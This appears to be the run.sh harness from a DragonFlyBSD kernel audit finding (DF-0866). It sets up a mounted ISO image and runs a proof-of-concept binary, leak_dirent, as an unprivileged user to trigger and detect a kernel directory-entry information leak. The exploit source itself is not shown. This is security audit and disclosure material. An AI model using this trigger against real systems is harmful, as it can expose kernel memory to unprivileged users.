DragonFlyBSD Kernel Audit
DF-0866 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# run.sh for DF-0866 trigger PoC.
#
# Prerequisites (set up once as root):
#   mkisofs -V DF0866 -J -r -o /root/df0866.iso /tmp/isosrc  # src dir w/ files
#   vnconfig -c -T vn0 /root/df0866.iso
#   mkdir -p /mnt/iso && mount_cd9660 -o ro /dev/vn0 /mnt/iso
#   chmod 755 /mnt            # so unprivileged user can descend
#
# Run as the unprivileged user (maxx) to exercise the leak.
set -e
cd "$(dirname "$0")"
DIR="${1:-/mnt/iso}"
echo "+ ./leak_dirent $DIR"
./leak_dirent "$DIR"
rc=$?
echo "LEAK_DETECTED_RC=$rc"   # 1 = leak seen, 0 = no leak
exit $rc